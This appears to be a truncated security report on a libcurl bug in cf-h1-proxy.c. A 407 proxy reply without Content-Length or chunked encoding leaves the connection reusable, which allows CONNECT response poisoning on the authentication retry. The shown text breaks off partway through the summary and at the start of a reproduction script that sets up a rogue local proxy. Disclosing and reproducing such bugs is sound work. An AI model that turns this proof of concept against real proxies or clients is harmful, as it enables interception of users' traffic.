Proxy CONNECT response poisoning via authentication retry in cf-h1-proxy.c (libcurl)

Summary: When an HTTP/1.x proxy returns a 407 with no Content-Length and no chunked transfer-encoding, `lib/cf-h1-proxy.c` `single_header()` sets `ts->keepon = KEEPON_DONE` but never sets `ts->close_connection = TRUE`. Because `ts->close_connection` and `conn->bits.close` both stay false, the …

#!/bin/bash
# Reproduction: Proxy CONNECT Response Poisoning via Authentication Retry
PROXY_PORT=34371
python3 << 'PYEOF' &
import socket, time
NONCE = "dcd98b7102dd2f0e8b11d0f600bfb0c093"
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, …